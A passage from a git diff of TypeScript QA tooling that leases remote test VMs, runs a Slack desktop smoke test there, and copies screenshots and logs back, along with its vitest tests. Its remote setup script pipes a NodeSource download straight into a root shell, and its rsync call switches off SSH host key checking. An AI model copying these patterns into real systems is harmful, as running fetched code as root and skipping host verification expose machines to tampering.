|
||||
throw new Error("Crabbox inspect output is missing SSH copy details.");
|
||||
}
|
||||
await runCommand({
|
||||
command: "rsync",
|
||||
args: [
|
||||
"-az",
|
||||
"-e",
|
||||
[
|
||||
"ssh",
|
||||
"-i",
|
||||
shellQuote(sshKey),
|
||||
"-p",
|
||||
sshPort ?? "22",
|
||||
"-o",
|
||||
"BatchMode=yes",
|
||||
"-o",
|
||||
"ConnectTimeout=15",
|
||||
"-o",
|
||||
"StrictHostKeyChecking=no",
|
||||
"-o",
|
||||
"UserKnownHostsFile=/dev/null",
|
||||
].join(" "),
|
||||
`${sshUser}@${host}:${params.remoteOutputDir}/desktop-browser-smoke.png`,
|
||||
`${sshUser}@${host}:${params.remoteOutputDir}/remote-metadata.json`,
|
||||
`${sshUser}@${host}:${params.remoteOutputDir}/chrome.log`,
|
||||
`${params.outputDir}/`,
|
||||
],
|
||||
cwd: params.cwd,
|
||||
env: params.env,
|
||||
runner: params.runner,
|
||||
});
|
||||
}
|
||||
|
||||
async function stopCrabbox(params: {
|
||||
crabboxBin: string;
|
||||
cwd: string;
|
||||
env: NodeJS.ProcessEnv;
|
||||
leaseId: string;
|
||||
provider: string;
|
||||
runner: CommandRunner;
|
||||
}) {
|
||||
await runCommand({
|
||||
command: params.crabboxBin,
|
||||
args: ["stop", "--provider", params.provider, params.leaseId],
|
||||
cwd: params.cwd,
|
||||
env: params.env,
|
||||
runner: params.runner,
|
||||
stdio: "inherit",
|
||||
});
|
||||
}
|
||||
|
||||
export async function runMantisDesktopBrowserSmoke(
|
||||
opts: MantisDesktopBrowserSmokeOptions = {},
|
||||
): Promise<MantisDesktopBrowserSmokeResult> {
|
||||
const env = opts.env ?? process.env;
|
||||
const startedAt = (opts.now ?? (() => new Date()))();
|
||||
const repoRoot = path.resolve(opts.repoRoot ?? process.cwd());
|
||||
const outputDir = await ensureRepoBoundDirectory(
|
||||
repoRoot,
|
||||
resolveRepoRelativeOutputDir(repoRoot, opts.outputDir) ?? defaultOutputDir(repoRoot, startedAt),
|
||||
"Mantis desktop browser smoke output directory",
|
||||
{ mode: 0o755 },
|
||||
);
|
||||
const summaryPath = path.join(outputDir, "mantis-desktop-browser-smoke-summary.json");
|
||||
const reportPath = path.join(outputDir, "mantis-desktop-browser-smoke-report.md");
|
||||
const crabboxBin = await resolveCrabboxBin({ env, explicit: opts.crabboxBin, repoRoot });
|
||||
const provider =
|
||||
trimToValue(opts.provider) ?? trimToValue(env[CRABBOX_PROVIDER_ENV]) ?? DEFAULT_PROVIDER;
|
||||
const machineClass =
|
||||
trimToValue(opts.machineClass) ?? trimToValue(env[CRABBOX_CLASS_ENV]) ?? DEFAULT_CLASS;
|
||||
const idleTimeout =
|
||||
trimToValue(opts.idleTimeout) ??
|
||||
trimToValue(env[CRABBOX_IDLE_TIMEOUT_ENV]) ??
|
||||
DEFAULT_IDLE_TIMEOUT;
|
||||
const ttl = trimToValue(opts.ttl) ?? trimToValue(env[CRABBOX_TTL_ENV]) ?? DEFAULT_TTL;
|
||||
const htmlFileOption = trimToValue(opts.htmlFile);
|
||||
const htmlFile = htmlFileOption
|
||||
? resolveRepoBoundFile(repoRoot, htmlFileOption, "Mantis desktop HTML file")
|
||||
: undefined;
|
||||
const htmlBase64 = htmlFile
|
||||
? Buffer.from(await fs.readFile(htmlFile)).toString("base64")
|
||||
: undefined;
|
||||
const browserUrl = htmlFile
|
||||
? pathToFileURL(htmlFile).toString()
|
||||
: (trimToValue(opts.browserUrl) ?? DEFAULT_BROWSER_URL);
|
||||
const runner = opts.commandRunner ?? defaultCommandRunner;
|
||||
const explicitLeaseId = trimToValue(opts.leaseId) ?? trimToValue(env[CRABBOX_LEASE_ID_ENV]);
|
||||
const keepLease = opts.keepLease ?? isTruthyOptIn(env[CRABBOX_KEEP_ENV]);
|
||||
const createdLease = explicitLeaseId === undefined;
|
||||
const remoteOutputDir = `/tmp/openclaw-mantis-desktop-${startedAt
|
||||
.toISOString()
|
||||
.replace(/[^0-9A-Za-z]/gu, "-")}`;
|
||||
let leaseId = explicitLeaseId;
|
||||
let summary: MantisDesktopBrowserSmokeSummary | undefined;
|
||||
|
||||
try {
|
||||
leaseId =
|
||||
leaseId ??
|
||||
(await warmupCrabbox({
|
||||
crabboxBin,
|
||||
cwd: repoRoot,
|
||||
env,
|
||||
idleTimeout,
|
||||
machineClass,
|
||||
provider,
|
||||
runner,
|
||||
ttl,
|
||||
}));
|
||||
const inspected = await inspectCrabbox({
|
||||
crabboxBin,
|
||||
cwd: repoRoot,
|
||||
env,
|
||||
leaseId,
|
||||
provider,
|
||||
runner,
|
||||
});
|
||||
await runCommand({
|
||||
command: crabboxBin,
|
||||
args: [
|
||||
"run",
|
||||
"--provider",
|
||||
provider,
|
||||
"--id",
|
||||
leaseId,
|
||||
"--desktop",
|
||||
"--browser",
|
||||
"--no-sync",
|
||||
"--shell",
|
||||
"--",
|
||||
renderRemoteScript({ browserUrl, htmlBase64, remoteOutputDir }),
|
||||
],
|
||||
cwd: repoRoot,
|
||||
env,
|
||||
runner,
|
||||
stdio: "inherit",
|
||||
});
|
||||
await copyRemoteArtifacts({
|
||||
cwd: repoRoot,
|
||||
env,
|
||||
inspect: inspected,
|
||||
outputDir,
|
||||
remoteOutputDir,
|
||||
runner,
|
||||
});
|
||||
const screenshotPath = path.join(outputDir, "desktop-browser-smoke.png");
|
||||
if (!(await pathExists(screenshotPath))) {
|
||||
throw new Error("Desktop browser screenshot was not copied back from Crabbox.");
|
||||
}
|
||||
summary = {
|
||||
artifacts: {
|
||||
reportPath,
|
||||
screenshotPath,
|
||||
summaryPath,
|
||||
},
|
||||
browserUrl,
|
||||
htmlFile,
|
||||
crabbox: {
|
||||
bin: crabboxBin,
|
||||
createdLease,
|
||||
id: leaseId,
|
||||
provider,
|
||||
slug: inspected.slug,
|
||||
state: inspected.state,
|
||||
vncCommand: `${crabboxBin} vnc --provider ${provider} --id ${leaseId} --open`,
|
||||
},
|
||||
finishedAt: new Date().toISOString(),
|
||||
outputDir,
|
||||
remoteOutputDir,
|
||||
startedAt: startedAt.toISOString(),
|
||||
status: "pass",
|
||||
};
|
||||
return {
|
||||
outputDir,
|
||||
reportPath,
|
||||
screenshotPath,
|
||||
status: "pass",
|
||||
summaryPath,
|
||||
};
|
||||
} catch (error) {
|
||||
summary = {
|
||||
artifacts: {
|
||||
reportPath,
|
||||
summaryPath,
|
||||
},
|
||||
browserUrl,
|
||||
htmlFile,
|
||||
crabbox: {
|
||||
bin: crabboxBin,
|
||||
createdLease,
|
||||
id: leaseId ?? "unallocated",
|
||||
provider,
|
||||
vncCommand: leaseId
|
||||
? `${crabboxBin} vnc --provider ${provider} --id ${leaseId} --open`
|
||||
: "unallocated",
|
||||
},
|
||||
error: formatErrorMessage(error),
|
||||
finishedAt: new Date().toISOString(),
|
||||
outputDir,
|
||||
remoteOutputDir,
|
||||
startedAt: startedAt.toISOString(),
|
||||
status: "fail",
|
||||
};
|
||||
await fs.writeFile(path.join(outputDir, "error.txt"), `${summary.error}\n`, "utf8");
|
||||
return {
|
||||
outputDir,
|
||||
reportPath,
|
||||
status: "fail",
|
||||
summaryPath,
|
||||
};
|
||||
} finally {
|
||||
if (summary) {
|
||||
summary.finishedAt = new Date().toISOString();
|
||||
await fs.writeFile(summaryPath, `${JSON.stringify(summary, null, 2)}\n`, "utf8");
|
||||
await fs.writeFile(reportPath, renderReport(summary), "utf8");
|
||||
}
|
||||
if (summary?.status === "pass" && createdLease && leaseId && !keepLease) {
|
||||
await stopCrabbox({ crabboxBin, cwd: repoRoot, env, leaseId, provider, runner });
|
||||
}
|
||||
}
|
||||
}
|
||||
241
extensions/qa-lab/src/mantis/slack-desktop-smoke.runtime.test.ts
Normal file
241
extensions/qa-lab/src/mantis/slack-desktop-smoke.runtime.test.ts
Normal file
@@ -0,0 +1,241 @@
|
||||
import fs from "node:fs/promises";
|
||||
import os from "node:os";
|
||||
import path from "node:path";
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
|
||||
import { runMantisSlackDesktopSmoke } from "./slack-desktop-smoke.runtime.js";
|
||||
|
||||
describe("mantis Slack desktop smoke runtime", () => {
|
||||
let repoRoot: string;
|
||||
|
||||
beforeEach(async () => {
|
||||
repoRoot = await fs.mkdtemp(path.join(os.tmpdir(), "mantis-slack-desktop-smoke-"));
|
||||
});
|
||||
|
||||
afterEach(async () => {
|
||||
await fs.rm(repoRoot, { force: true, recursive: true });
|
||||
});
|
||||
|
||||
it("leases a desktop box, runs Slack QA inside it, copies artifacts, and stops on pass", async () => {
|
||||
const commands: { args: readonly string[]; command: string; env?: NodeJS.ProcessEnv }[] = [];
|
||||
const runtimeEnv = {
|
||||
PATH: process.env.PATH,
|
||||
OPENAI_API_KEY: "openai-runtime-key",
|
||||
OPENCLAW_QA_SLACK_CHANNEL_ID: "C123",
|
||||
OPENCLAW_QA_SLACK_DRIVER_BOT_TOKEN: "driver-token",
|
||||
OPENCLAW_QA_SLACK_SUT_APP_TOKEN: "app-token",
|
||||
OPENCLAW_QA_SLACK_SUT_BOT_TOKEN: "sut-token",
|
||||
};
|
||||
const runner = vi.fn(
|
||||
async (command: string, args: readonly string[], options: { env?: NodeJS.ProcessEnv }) => {
|
||||
commands.push({ command, args, env: options.env });
|
||||
if (command === "/tmp/crabbox" && args[0] === "warmup") {
|
||||
return { stdout: "ready lease cbx_abc123\n", stderr: "" };
|
||||
}
|
||||
if (command === "/tmp/crabbox" && args[0] === "inspect") {
|
||||
return {
|
||||
stdout: `${JSON.stringify({
|
||||
host: "203.0.113.10",
|
||||
id: "cbx_abc123",
|
||||
provider: "hetzner",
|
||||
slug: "bright-mantis",
|
||||
sshKey: "/tmp/key",
|
||||
sshPort: "2222",
|
||||
sshUser: "crabbox",
|
||||
state: "active",
|
||||
})}\n`,
|
||||
stderr: "",
|
||||
};
|
||||
}
|
||||
if (command === "rsync") {
|
||||
const outputDir = args.at(-1);
|
||||
expect(outputDir).toBeTypeOf("string");
|
||||
await fs.mkdir(outputDir as string, { recursive: true });
|
||||
if (String(outputDir).endsWith("slack-qa/")) {
|
||||
await fs.writeFile(path.join(outputDir as string, "slack-qa-report.md"), "# Slack\n");
|
||||
} else {
|
||||
await fs.writeFile(path.join(outputDir as string, "slack-desktop-smoke.png"), "png");
|
||||
await fs.writeFile(path.join(outputDir as string, "remote-metadata.json"), "{}\n");
|
||||
await fs.writeFile(path.join(outputDir as string, "chrome.log"), "chrome\n");
|
||||
await fs.writeFile(path.join(outputDir as string, "slack-desktop-command.log"), "qa\n");
|
||||
}
|
||||
return { stdout: "", stderr: "" };
|
||||
}
|
||||
return { stdout: "", stderr: "" };
|
||||
},
|
||||
);
|
||||
|
||||
const result = await runMantisSlackDesktopSmoke({
|
||||
commandRunner: runner,
|
||||
crabboxBin: "/tmp/crabbox",
|
||||
env: runtimeEnv,
|
||||
now: () => new Date("2026-05-04T13:00:00.000Z"),
|
||||
outputDir: ".artifacts/qa-e2e/mantis/slack-desktop-test",
|
||||
primaryModel: "openai/gpt-5.4",
|
||||
repoRoot,
|
||||
scenarioIds: ["slack-canary"],
|
||||
slackUrl: "https://app.slack.com/client/T123/C123",
|
||||
});
|
||||
|
||||
expect(result.status).toBe("pass");
|
||||
expect(commands.map((entry) => [entry.command, entry.args[0]])).toEqual([
|
||||
["/tmp/crabbox", "warmup"],
|
||||
["/tmp/crabbox", "inspect"],
|
||||
["/tmp/crabbox", "run"],
|
||||
["rsync", "-az"],
|
||||
["rsync", "-az"],
|
||||
["/tmp/crabbox", "stop"],
|
||||
]);
|
||||
expect(
|
||||
commands.every((entry) => entry.env?.OPENCLAW_LIVE_OPENAI_KEY === "openai-runtime-key"),
|
||||
).toBe(true);
|
||||
const runArgs = commands.find(
|
||||
(entry) => entry.command === "/tmp/crabbox" && entry.args[0] === "run",
|
||||
)?.args;
|
||||
expect(runArgs).not.toContain("--no-sync");
|
||||
const remoteScript = runArgs?.at(-1);
|
||||
expect(remoteScript).toContain("${BROWSER:-}");
|
||||
expect(remoteScript).toContain("${CHROME_BIN:-}");
|
||||
expect(remoteScript).toContain("pnpm install --frozen-lockfile");
|
||||
expect(remoteScript).toContain("pnpm build");
|
||||
expect(remoteScript).toContain("openclaw qa slack");
|
||||
expect(remoteScript).toContain("--scenario 'slack-canary'");
|
||||
expect(remoteScript).toContain("OPENCLAW_MANTIS_SLACK_BROWSER_PROFILE_DIR");
|
||||
const rsyncArgs = commands
|
||||
.filter((entry) => entry.command === "rsync")
|
||||
.flatMap((entry) => entry.args);
|
||||
expect(rsyncArgs).not.toContain("--delete");
|
||||
expect(rsyncArgs).toEqual(
|
||||
expect.arrayContaining([
|
||||
"crabbox@203.0.113.10:/tmp/openclaw-mantis-slack-desktop-2026-05-04T13-00-00-000Z/slack-desktop-smoke.png",
|
||||
"crabbox@203.0.113.10:/tmp/openclaw-mantis-slack-desktop-2026-05-04T13-00-00-000Z/slack-qa/",
|
||||
]),
|
||||
);
|
||||
await expect(fs.readFile(result.screenshotPath ?? "", "utf8")).resolves.toBe("png");
|
||||
const summary = JSON.parse(await fs.readFile(result.summaryPath, "utf8")) as {
|
||||
crabbox: { id: string; vncCommand: string };
|
||||
status: string;
|
||||
};
|
||||
expect(summary).toMatchObject({
|
||||
crabbox: {
|
||||
id: "cbx_abc123",
|
||||
vncCommand: "/tmp/crabbox vnc --provider hetzner --id cbx_abc123 --open",
|
||||
},
|
||||
status: "pass",
|
||||
});
|
||||
});
|
||||
|
||||
it("copies the screenshot before reporting a failed remote Slack QA run", async () => {
|
||||
const runner = vi.fn(async (command: string, args: readonly string[]) => {
|
||||
if (command === "/tmp/crabbox" && args[0] === "inspect") {
|
||||
return {
|
||||
stdout: `${JSON.stringify({
|
||||
host: "203.0.113.10",
|
||||
id: "cbx_existing",
|
||||
provider: "hetzner",
|
||||
sshKey: "/tmp/key",
|
||||
sshPort: "2222",
|
||||
sshUser: "crabbox",
|
||||
})}\n`,
|
||||
stderr: "",
|
||||
};
|
||||
}
|
||||
if (command === "/tmp/crabbox" && args[0] === "run") {
|
||||
throw new Error("remote Slack QA failed");
|
||||
}
|
||||
if (command === "rsync") {
|
||||
const outputDir = args.at(-1);
|
||||
await fs.mkdir(outputDir as string, { recursive: true });
|
||||
await fs.writeFile(path.join(outputDir as string, "slack-desktop-smoke.png"), "png");
|
||||
await fs.writeFile(path.join(outputDir as string, "remote-metadata.json"), "{}\n");
|
||||
await fs.writeFile(path.join(outputDir as string, "chrome.log"), "chrome\n");
|
||||
await fs.writeFile(path.join(outputDir as string, "slack-desktop-command.log"), "qa\n");
|
||||
}
|
||||
return { stdout: "", stderr: "" };
|
||||
});
|
||||
|
||||
const result = await runMantisSlackDesktopSmoke({
|
||||
commandRunner: runner,
|
||||
crabboxBin: "/tmp/crabbox",
|
||||
leaseId: "cbx_existing",
|
||||
outputDir: ".artifacts/qa-e2e/mantis/slack-desktop-fail",
|
||||
repoRoot,
|
||||
});
|
||||
|
||||
expect(result.status).toBe("fail");
|
||||
expect(result.screenshotPath).toBe(path.join(result.outputDir, "slack-desktop-smoke.png"));
|
||||
await expect(
|
||||
fs.readFile(path.join(result.outputDir, "slack-desktop-smoke.png"), "utf8"),
|
||||
).resolves.toBe("png");
|
||||
const summary = JSON.parse(await fs.readFile(result.summaryPath, "utf8")) as {
|
||||
artifacts: { screenshotPath?: string };
|
||||
error?: string;
|
||||
status: string;
|
||||
};
|
||||
expect(summary.status).toBe("fail");
|
||||
expect(summary.error).toContain("remote Slack QA failed");
|
||||
expect(summary.artifacts.screenshotPath).toContain("slack-desktop-smoke.png");
|
||||
});
|
||||
|
||||
it("accepts Blacksmith Testbox lease ids from Crabbox warmup", async () => {
|
||||
const commands: { args: readonly string[]; command: string }[] = [];
|
||||
const runner = vi.fn(async (command: string, args: readonly string[]) => {
|
||||
commands.push({ command, args });
|
||||
if (command === "/tmp/crabbox" && args[0] === "warmup") {
|
||||
return { stdout: "ready: tbx_abc-123_more\n", stderr: "" };
|
||||
}
|
||||
if (command === "/tmp/crabbox" && args[0] === "inspect") {
|
||||
return {
|
||||
stdout: `${JSON.stringify({
|
||||
host: "203.0.113.10",
|
||||
id: "tbx_abc-123_more",
|
||||
provider: "blacksmith-testbox",
|
||||
sshKey: "/tmp/key",
|
||||
sshPort: "2222",
|
||||
sshUser: "crabbox",
|
||||
state: "active",
|
||||
})}\n`,
|
||||
stderr: "",
|
||||
};
|
||||
}
|
||||
if (command === "rsync") {
|
||||
const outputDir = args.at(-1);
|
||||
await fs.mkdir(outputDir as string, { recursive: true });
|
||||
if (String(outputDir).endsWith("slack-qa/")) {
|
||||
await fs.writeFile(path.join(outputDir as string, "slack-qa-report.md"), "# Slack\n");
|
||||
} else {
|
||||
await fs.writeFile(path.join(outputDir as string, "slack-desktop-smoke.png"), "png");
|
||||
await fs.writeFile(path.join(outputDir as string, "remote-metadata.json"), "{}\n");
|
||||
await fs.writeFile(path.join(outputDir as string, "chrome.log"), "chrome\n");
|
||||
await fs.writeFile(path.join(outputDir as string, "slack-desktop-command.log"), "qa\n");
|
||||
}
|
||||
}
|
||||
return { stdout: "", stderr: "" };
|
||||
});
|
||||
|
||||
const result = await runMantisSlackDesktopSmoke({
|
||||
commandRunner: runner,
|
||||
crabboxBin: "/tmp/crabbox",
|
||||
now: () => new Date("2026-05-04T13:30:00.000Z"),
|
||||
outputDir: ".artifacts/qa-e2e/mantis/slack-desktop-testbox",
|
||||
provider: "blacksmith-testbox",
|
||||
repoRoot,
|
||||
});
|
||||
|
||||
expect(result.status).toBe("pass");
|
||||
expect(commands).toEqual(
|
||||
expect.arrayContaining([
|
||||
expect.objectContaining({
|
||||
args: expect.arrayContaining(["--id", "tbx_abc-123_more"]),
|
||||
command: "/tmp/crabbox",
|
||||
}),
|
||||
]),
|
||||
);
|
||||
const summary = JSON.parse(await fs.readFile(result.summaryPath, "utf8")) as {
|
||||
crabbox: { id: string; provider: string };
|
||||
};
|
||||
expect(summary.crabbox).toMatchObject({
|
||||
id: "tbx_abc-123_more",
|
||||
provider: "blacksmith-testbox",
|
||||
});
|
||||
});
|
||||
});
|
||||
785
extensions/qa-lab/src/mantis/slack-desktop-smoke.runtime.ts
Normal file
785
extensions/qa-lab/src/mantis/slack-desktop-smoke.runtime.ts
Normal file
@@ -0,0 +1,785 @@
|
||||
import { spawn, type SpawnOptions } from "node:child_process";
|
||||
import fs from "node:fs/promises";
|
||||
import path from "node:path";
|
||||
import { formatErrorMessage } from "openclaw/plugin-sdk/error-runtime";
|
||||
import { ensureRepoBoundDirectory, resolveRepoRelativeOutputDir } from "../cli-paths.js";
|
||||
|
||||
export type MantisSlackDesktopSmokeOptions = {
|
||||
alternateModel?: string;
|
||||
commandRunner?: CommandRunner;
|
||||
crabboxBin?: string;
|
||||
credentialRole?: string;
|
||||
credentialSource?: string;
|
||||
env?: NodeJS.ProcessEnv;
|
||||
fastMode?: boolean;
|
||||
gatewaySetup?: boolean;
|
||||
idleTimeout?: string;
|
||||
keepLease?: boolean;
|
||||
leaseId?: string;
|
||||
machineClass?: string;
|
||||
now?: () => Date;
|
||||
outputDir?: string;
|
||||
primaryModel?: string;
|
||||
provider?: string;
|
||||
providerMode?: string;
|
||||
repoRoot?: string;
|
||||
scenarioIds?: string[];
|
||||
slackChannelId?: string;
|
||||
slackUrl?: string;
|
||||
ttl?: string;
|
||||
};
|
||||
|
||||
export type MantisSlackDesktopSmokeResult = {
|
||||
outputDir: string;
|
||||
reportPath: string;
|
||||
screenshotPath?: string;
|
||||
status: "pass" | "fail";
|
||||
summaryPath: string;
|
||||
};
|
||||
|
||||
type CommandResult = {
|
||||
stderr: string;
|
||||
stdout: string;
|
||||
};
|
||||
|
||||
type CommandRunner = (
|
||||
command: string,
|
||||
args: readonly string[],
|
||||
options: SpawnOptions,
|
||||
) => Promise<CommandResult>;
|
||||
|
||||
type CrabboxInspect = {
|
||||
host?: string;
|
||||
id?: string;
|
||||
provider?: string;
|
||||
ready?: boolean;
|
||||
slug?: string;
|
||||
sshKey?: string;
|
||||
sshPort?: string;
|
||||
sshUser?: string;
|
||||
state?: string;
|
||||
};
|
||||
|
||||
type MantisSlackDesktopSmokeSummary = {
|
||||
artifacts: {
|
||||
reportPath: string;
|
||||
screenshotPath?: string;
|
||||
slackQaDir?: string;
|
||||
summaryPath: string;
|
||||
};
|
||||
crabbox: {
|
||||
bin: string;
|
||||
createdLease: boolean;
|
||||
id: string;
|
||||
provider: string;
|
||||
slug?: string;
|
||||
state?: string;
|
||||
vncCommand: string;
|
||||
};
|
||||
error?: string;
|
||||
finishedAt: string;
|
||||
outputDir: string;
|
||||
remoteOutputDir: string;
|
||||
slackUrl?: string;
|
||||
startedAt: string;
|
||||
status: "pass" | "fail";
|
||||
};
|
||||
|
||||
const DEFAULT_PROVIDER = "hetzner";
|
||||
const DEFAULT_CLASS = "beast";
|
||||
const DEFAULT_IDLE_TIMEOUT = "90m";
|
||||
const DEFAULT_TTL = "180m";
|
||||
const DEFAULT_CREDENTIAL_SOURCE = "env";
|
||||
const DEFAULT_CREDENTIAL_ROLE = "maintainer";
|
||||
const DEFAULT_PROVIDER_MODE = "live-frontier";
|
||||
const DEFAULT_MODEL = "openai/gpt-5.4";
|
||||
const DEFAULT_SLACK_CHANNEL_ID = "C0AUXUC5AGN";
|
||||
const CRABBOX_BIN_ENV = "OPENCLAW_MANTIS_CRABBOX_BIN";
|
||||
const CRABBOX_PROVIDER_ENV = "OPENCLAW_MANTIS_CRABBOX_PROVIDER";
|
||||
const CRABBOX_CLASS_ENV = "OPENCLAW_MANTIS_CRABBOX_CLASS";
|
||||
const CRABBOX_LEASE_ID_ENV = "OPENCLAW_MANTIS_CRABBOX_LEASE_ID";
|
||||
const CRABBOX_KEEP_ENV = "OPENCLAW_MANTIS_KEEP_VM";
|
||||
const CRABBOX_IDLE_TIMEOUT_ENV = "OPENCLAW_MANTIS_CRABBOX_IDLE_TIMEOUT";
|
||||
const CRABBOX_TTL_ENV = "OPENCLAW_MANTIS_CRABBOX_TTL";
|
||||
const SLACK_URL_ENV = "OPENCLAW_MANTIS_SLACK_URL";
|
||||
const SLACK_CHANNEL_ID_ENV = "OPENCLAW_MANTIS_SLACK_CHANNEL_ID";
|
||||
|
||||
function trimToValue(value: string | undefined) {
|
||||
const trimmed = value?.trim();
|
||||
return trimmed && trimmed.length > 0 ? trimmed : undefined;
|
||||
}
|
||||
|
||||
function isTruthyOptIn(value: string | undefined) {
|
||||
const normalized = value?.trim().toLowerCase();
|
||||
return normalized === "1" || normalized === "true" || normalized === "yes";
|
||||
}
|
||||
|
||||
function defaultOutputDir(repoRoot: string, startedAt: Date) {
|
||||
const stamp = startedAt.toISOString().replace(/[:.]/gu, "-");
|
||||
return path.join(repoRoot, ".artifacts", "qa-e2e", "mantis", `slack-desktop-${stamp}`);
|
||||
}
|
||||
|
||||
async function defaultCommandRunner(
|
||||
command: string,
|
||||
args: readonly string[],
|
||||
options: SpawnOptions,
|
||||
): Promise<CommandResult> {
|
||||
return new Promise((resolve, reject) => {
|
||||
const child = spawn(command, args, {
|
||||
...options,
|
||||
stdio: ["ignore", "pipe", "pipe"],
|
||||
});
|
||||
let stdout = "";
|
||||
let stderr = "";
|
||||
child.stdout?.on("data", (chunk: Buffer) => {
|
||||
const text = chunk.toString();
|
||||
stdout += text;
|
||||
if (options.stdio === "inherit") {
|
||||
process.stdout.write(text);
|
||||
}
|
||||
});
|
||||
child.stderr?.on("data", (chunk: Buffer) => {
|
||||
const text = chunk.toString();
|
||||
stderr += text;
|
||||
if (options.stdio === "inherit") {
|
||||
process.stderr.write(text);
|
||||
}
|
||||
});
|
||||
child.on("error", reject);
|
||||
child.on("close", (code, signal) => {
|
||||
if (code === 0) {
|
||||
resolve({ stdout, stderr });
|
||||
return;
|
||||
}
|
||||
const detail = signal ? `signal ${signal}` : `exit code ${code ?? "unknown"}`;
|
||||
reject(new Error(`${command} ${args.join(" ")} failed with ${detail}`));
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
async function pathExists(filePath: string) {
|
||||
try {
|
||||
await fs.access(filePath);
|
||||
return true;
|
||||
} catch {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
async function resolveCrabboxBin(params: {
|
||||
env: NodeJS.ProcessEnv;
|
||||
explicit?: string;
|
||||
repoRoot: string;
|
||||
}) {
|
||||
const configured = trimToValue(params.explicit) ?? trimToValue(params.env[CRABBOX_BIN_ENV]);
|
||||
if (configured) {
|
||||
return configured;
|
||||
}
|
||||
const sibling = path.resolve(params.repoRoot, "../crabbox/bin/crabbox");
|
||||
if (await pathExists(sibling)) {
|
||||
return sibling;
|
||||
}
|
||||
return "crabbox";
|
||||
}
|
||||
|
||||
function buildCrabboxEnv(env: NodeJS.ProcessEnv): NodeJS.ProcessEnv {
|
||||
const next = {
|
||||
...env,
|
||||
};
|
||||
if (!trimToValue(next.OPENCLAW_LIVE_OPENAI_KEY) && trimToValue(next.OPENAI_API_KEY)) {
|
||||
next.OPENCLAW_LIVE_OPENAI_KEY = next.OPENAI_API_KEY;
|
||||
}
|
||||
if (!trimToValue(next.OPENCLAW_MANTIS_SLACK_BOT_TOKEN) && trimToValue(next.SLACK_BOT_TOKEN)) {
|
||||
next.OPENCLAW_MANTIS_SLACK_BOT_TOKEN = next.SLACK_BOT_TOKEN;
|
||||
}
|
||||
if (!trimToValue(next.OPENCLAW_MANTIS_SLACK_APP_TOKEN) && trimToValue(next.SLACK_APP_TOKEN)) {
|
||||
next.OPENCLAW_MANTIS_SLACK_APP_TOKEN = next.SLACK_APP_TOKEN;
|
||||
}
|
||||
return next;
|
||||
}
|
||||
|
||||
function extractLeaseId(output: string) {
|
||||
return output.match(/\b(?:cbx_[a-f0-9]+|tbx_[A-Za-z0-9_-]+)\b/u)?.[0];
|
||||
}
|
||||
|
||||
function shellQuote(value: string) {
|
||||
return `'${value.replaceAll("'", "'\\''")}'`;
|
||||
}
|
||||
|
||||
function renderRemoteScript(params: {
|
||||
alternateModel: string;
|
||||
credentialRole: string;
|
||||
credentialSource: string;
|
||||
fastMode: boolean;
|
||||
primaryModel: string;
|
||||
providerMode: string;
|
||||
remoteOutputDir: string;
|
||||
scenarioIds: readonly string[];
|
||||
setupGateway: boolean;
|
||||
slackChannelId: string;
|
||||
slackUrl?: string;
|
||||
}) {
|
||||
const shellOutputDir = shellQuote(params.remoteOutputDir);
|
||||
const slackUrl = shellQuote(params.slackUrl ?? "");
|
||||
const credentialSource = shellQuote(params.credentialSource);
|
||||
const credentialRole = shellQuote(params.credentialRole);
|
||||
const providerMode = shellQuote(params.providerMode);
|
||||
const primaryModel = shellQuote(params.primaryModel);
|
||||
const alternateModel = shellQuote(params.alternateModel);
|
||||
const fastMode = params.fastMode ? "1" : "0";
|
||||
const setupGateway = params.setupGateway ? "1" : "0";
|
||||
const slackChannelId = shellQuote(params.slackChannelId);
|
||||
const scenarioArgs = params.scenarioIds.flatMap((id) => ["--scenario", shellQuote(id)]).join(" ");
|
||||
return `set -euo pipefail
|
||||
out=${shellOutputDir}
|
||||
slack_url_override=${slackUrl}
|
||||
credential_source=${credentialSource}
|
||||
credential_role=${credentialRole}
|
||||
provider_mode=${providerMode}
|
||||
primary_model=${primaryModel}
|
||||
alternate_model=${alternateModel}
|
||||
fast_mode=${fastMode}
|
||||
setup_gateway=${setupGateway}
|
||||
slack_channel_id=${slackChannelId}
|
||||
rm -rf "$out"
|
||||
mkdir -p "$out"
|
||||
export DISPLAY="\${DISPLAY:-:99}"
|
||||
if [ -n "\${OPENCLAW_LIVE_OPENAI_KEY:-}" ] && [ -z "\${OPENAI_API_KEY:-}" ]; then
|
||||
export OPENAI_API_KEY="$OPENCLAW_LIVE_OPENAI_KEY"
|
||||
fi
|
||||
if ! command -v node >/dev/null 2>&1; then
|
||||
sudo apt-get update -y >"$out/node-apt.log" 2>&1
|
||||
curl -fsSL https://deb.nodesource.com/setup_22.x | sudo -E bash - >>"$out/node-apt.log" 2>&1
|
||||
sudo DEBIAN_FRONTEND=noninteractive apt-get install -y nodejs >>"$out/node-apt.log" 2>&1
|
||||
fi
|
||||
if ! command -v scrot >/dev/null 2>&1; then
|
||||
sudo apt-get update -y >"$out/apt.log" 2>&1
|
||||
sudo DEBIAN_FRONTEND=noninteractive apt-get install -y scrot >>"$out/apt.log" 2>&1
|
||||
fi
|
||||
browser_bin=""
|
||||
for candidate in "\${BROWSER:-}" "\${CHROME_BIN:-}" google-chrome chromium chromium-browser; do
|
||||
if [ -n "$candidate" ] && command -v "$candidate" >/dev/null 2>&1; then
|
||||
browser_bin="$(command -v "$candidate")"
|
||||
break
|
||||
fi
|
||||
done
|
||||
if [ -z "$browser_bin" ]; then
|
||||
echo "No browser binary found. Checked BROWSER, CHROME_BIN, google-chrome, chromium, chromium-browser." >&2
|
||||
exit 127
|
||||
fi
|
||||
team_id="\${OPENCLAW_QA_SLACK_TEAM_ID:-}"
|
||||
auth_test_token="\${OPENCLAW_QA_SLACK_SUT_BOT_TOKEN:-\${OPENCLAW_MANTIS_SLACK_BOT_TOKEN:-}}"
|
||||
if [ -z "$slack_url_override" ] && [ -z "$team_id" ] && [ -n "$auth_test_token" ]; then
|
||||
node --input-type=module >"$out/slack-auth-test.json" 2>"$out/slack-auth-test.err" <<'MANTIS_SLACK_AUTH'
|
||||
const token = process.env.OPENCLAW_QA_SLACK_SUT_BOT_TOKEN || process.env.OPENCLAW_MANTIS_SLACK_BOT_TOKEN;
|
||||
const response = await fetch("https://slack.com/api/auth.test", {
|
||||
method: "POST",
|
||||
headers: { authorization: \`Bearer \${token}\` },
|
||||
});
|
||||
const body = await response.json();
|
||||
